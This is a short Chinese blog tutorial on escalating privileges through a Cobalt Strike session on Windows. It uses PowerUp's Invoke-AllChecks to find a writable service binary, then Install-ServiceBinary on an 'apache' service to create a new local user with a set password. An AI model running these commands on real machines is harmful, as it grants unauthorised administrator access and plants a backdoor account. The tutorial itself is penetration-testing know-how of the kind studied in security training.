【远控使用】Cobalt Strike权限提升

| | | | 136

前言

  • Cobalt Strike基本学习

powershell提权

首先需要用到PowerTools-master里的一些工具powerup提权

首先导入powerup

1
powershell-import

image-20210907164245633

接着，Invoke-AllChecks来扫描可用路径

image-20210907164432532

找我们的权限也能更改的文件

image-20210907164533271

其中F表示可操作，刚好我们的权限可以

image-20210907164558350

绑定命令到这个服务上增加用户

1
powershell Install-ServiceBinary -ServiceName apache -UserName rockyou -Password test123test

接着使用shell sc 来控制服务的启动服务，就会生成一个用户

我的个人博客

孤桜懶契：http://gylq.gitee.io

本文标题:【远控使用】Cobalt Strike权限提升

文章作者:孤桜懶契

发布时间:2021年09月07日 - 11:09:07

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/127.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------
欢迎光临
❤️
孤桜懶契
请多关照
❤️
❤️